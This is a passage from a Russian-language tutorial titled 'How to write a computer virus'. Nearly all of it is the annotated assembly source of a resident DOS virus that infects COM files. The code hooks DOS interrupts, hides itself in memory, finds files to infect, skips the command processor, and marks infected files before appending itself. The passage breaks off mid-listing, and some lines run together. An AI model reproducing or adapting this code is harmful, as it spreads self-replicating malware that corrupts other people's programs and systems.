Как написать компьютерный вирус
;раммы ...
db '1' ;И ее последний
;байт ...
prg ends ;Стандартное
end start ;" окончание "
;ASM - программы
Единственное отличие заключается в том, что по-
требовалось ввести константу " vir_par ".Она нужна
для расчета необходимой длины блока памяти при ин-
сталляции вируса и в некоторых других вычислениях.
2.25 Текст резидентного COM - вируса
Теперь мы можем привести полный текст резидентной
программы - вируса :
; _______________________________________________
;| |
;| COM TSR virus |
;| Especially for my readers |
;|_______________________________________________|
prg segment
assume cs:prg,ds:prg,es:prg,ss:prg
org 100h
start: jmp vir
org 110h
;С метки " vir "
;фактически на-
;чинается обра-
;ботчик Int 28h
vir: db 0ebh ;90h - Для рези-
db push_len ;90h дентной
; работы .
pushf
cmp cs:tg_infect-110h,1;Активизиро-
;ваться ?
je cs:vir_2 ;Да ...
call dword ptr cs:old_28h - 110h
;Нет - вызовем
;старый обработ-
;чик INT 28h,
;чтобы не топить
;другие TSR ...
iret
vir_2: popf ;Переключаем
;стек для TSR -
;исполнения на
mov cs:ss_save-110h,ss ;себя ...
mov cs:sp_save-110h,sp
mov cs:help_word - 110h,cs
mov ss,cs:help_word - 110h
mov sp,to_newstack + 136
mov cs:tg_infect - 110h,0
pushf ;Вызываем старый
db 9ah ;обработчик
old_28h dw 0 ;INT 28h ...
old_28h_2 dw 0
pushf ;Сохраним в сте-
push ax ;ке регистры ...
push bx
push cx
push dx
push si
push di
push bp
push ds
push es
jmp cs:infect ;Перейти к зара-
;жению файлов
push_len equ $-vir - 2
mov ax,ds ;Корректируем DS
;для нерезидент-
;ной работы ...
db 05h ;Код команды
add_to_ds: dw 0 ;" ADD AX,00h "
mov ds,ax
mov ax,0f000h ;Проверим, есть
mov bx,1997h ;вирус в памяти,
int 2fh ;или еще нет ...
jc fresh_bytes
cmp al,0ffh
jne free_mem ;Нет -
;устанавливаем
fresh_bytes: ;Восстанавливаем
mov al,old_bytes ;первые три бай-
;та зараженной
mov cs:[100h],al ;программы ...
mov al,old_bytes+1
mov cs:[101h],al
mov al,old_bytes+2
mov cs:[102h],al
mov ax,cs ;Восстанавливаем
;сегментные
mov es,ax ;регистры ...
mov start_cs,ax
mov ds,ax
jmp cl_conv_1 ;Передаем управ-
cl_conv_1: db 0eah ;ление заражен-
dw 100h ;ной программе
start_cs dw 0
free_mem: mov ah,4ah ;Определим объем
;доступной памя-
;ти ...
mov bx,0ffffh ;Заведомо невоз-
int 21h ;можное значение
;(0ffffh) !
; _______________________________________________
;| Закажем свободный блок памяти,чтобы можно было|
;| записать в него резидентную часть вируса ... |
;|_______________________________________________|
sub bx,vir_par + 2 ;Оставим вирусу
;на 2 параграфа
;больше, чем
;он сам занимает
mov ah,4ah ;А остальная па-
int 21h ;мять будет
jc fresh_bytes ;занята ...
mov ah,48h ;Попросим DOS
;отдать свобод-
;ный блок нам .
mov bx,vir_par + 1 ;Запас в один
int 21h ;параграф ...
jc fresh_bytes
; _______________________________________________
;| Теперь свободный блок памяти найден |
;| ( сегментный адрес в AX ), и |
;| нужно записать в него код вируса ... |
;|_______________________________________________|
xor di,di ;Делаем вирус
mov bx,ax ;"невидимым" в
dec bx ;памяти ...
mov word ptr cs:[2],bx
mov es,bx
mov bx,0070h
mov es:[di+1],bx
mov es,di ;Получаем векто-
;ра прерываний
cli
mov di,084h ;Int 21h ...
mov bx,es:[di]
mov old_21h,bx
mov bx,es:[di+2]
mov old_21h_2,bx
mov di,0bch ;Int 2fh ...
mov bx,es:[di]
mov old_2fh,bx
mov bx,es:[di+2]
mov old_2fh_2,bx
mov di,04ch ;Int 13h ...
mov bx,es:[di]
mov old_13h,bx
mov bx,es:[di+2]
mov old_13h_2,bx
mov di,0a0h ;Int 28h ...
mov bx,es:[di]
mov old_28h,bx
mov bx,es:[di+2]
mov old_28h_2,bx
sti
mov word ptr vir,9090h ;Подготавливаем
mov tg_infect,0 ;вирус к рези-
;дентной работе
mov es,ax ;И копируем его
xor di,di ;в память...
mov cx,vir_len
prg_copy: mov bl,byte ptr vir[di]
mov byte ptr es:[di],bl
inc di
loop prg_copy
xor bx,bx ;Устанавливаем
;вектора преры-
mov es,bx ;ваний на вирус-
cli ;ные обработчики
mov di,084h
mov word ptr es:[di],to_new_21h
mov es:[di+2],ax ; Int 21h
mov di,0bch
mov word ptr es:[di],to_new_2fh
mov es:[di+2],ax ; Int 2fh
mov di,04ch
mov word ptr es:[di],to_new_13h
mov es:[di+2],ax ; Int 13h
mov di,0a0h
mov word ptr es:[di],0
mov es:[di+2],ax ; Int 28h
sti
jmp fresh_bytes ;Установка
;завершена ...
infect: push cs
pop ds
mov ax,ds ;TSR - коррекция
sub ax,11h ;DS ...
mov ds,ax
cmp tg_13h,0 ;INT 13h
;выполняется ?
je cs:all_right ;Нет ...
jmp cs:exit_zarasa ;Да - на выход
all_right: mov ah,2fh ;Получим текущую
int 21h ;DTA ( ES : BX )
mov bp,bx
mov cx,80h ;Сохраним эту
lea si,dta_save ;DTA ...
mov di,bp
save_dta:
mov al,byte ptr es:[di]
mov [si],al
inc si
inc di
loop cs:save_dta
find_first: ;Найдем первый
mov ah,4eh ;файл ...
mov cx,00100111b
lea dx,maska
int 21h
jnc cs:retry_2
jmp restore_dta
find_next: mov ah,3eh ;Закроем непод-
int 21h ;ходящий файл
jnc cs:retry_1
jmp cs:restore_dta
retry_1: mov ah,4fh ;Найдем следую-
int 21h ;щий ...
jnc cs:retry_2
jmp cs:restore_dta
retry_2: mov cx,12 ;Сотрем старое
lea si,fn ;имя в буфере
destroy_name:
mov byte ptr [si],0
inc si
loop cs:destroy_name
xor si,si ;И запишем туда
mov di,bp ;новое ...
copy_name: mov al,byte ptr es:[di+1eh]
cmp al,0
je cs:check_command
mov byte ptr fn[si],al
inc si
inc di
jmp cs:copy_name
check_command:
;Проверим, не
;является - ли
call cs:search ;файл командным
cmp inside,1 ;процессором...
je cs:retry_1
mov ax,3d02h ;Откроем этот
lea dx,fn ;файл ...
int 21h
jnc cs:save_bytes
jmp cs:restore_dta
save_bytes: ;Считаем первые
mov bx,ax ;три байта
mov ah,3fh
mov cx,3
lea dx,old_bytes
int 21h
jnc cs:found_size jmp cs:close
found_size:mov di,bp
cmp word ptr es:[di+01ch],0
jne cs:more_64K ;Найдем его раз-
mov ax,es:[di+01ah] ;мер ...
count_size:mov si,ax ;Вычислим
;смещения ...
cmp ax,64000
jna cs:smallest
more_64K: jmp cs:find_next
smallest: test ax,000fh
jz cs:krat_16
or ax,000fh
inc ax
krat_16: mov di,ax
sub ax,3
mov byte ptr new_bytes[1],al
mov byte ptr new_bytes[2],ah
mov ax,di
mov cl,4
shr ax,cl
dec ax
mov byte ptr add_to_ds,al
mov byte ptr add_to_ds+1,ah
mov ax,4200h ;Считаем послед-
xor cx,cx ;ний байт ...
dec si
mov dx,si
int 21h
jnc cs:read_last
jmp cs:close
read_last:
mov ah,3fh
mov cx,1
lea dx,last
int 21h
jc cs:close
cmp last,'1' ;Индикатор зара-
jne cs:write_vir ;жения ...
jmp cs:find_next
write_vir: mov ax,4200h ;Запишем начало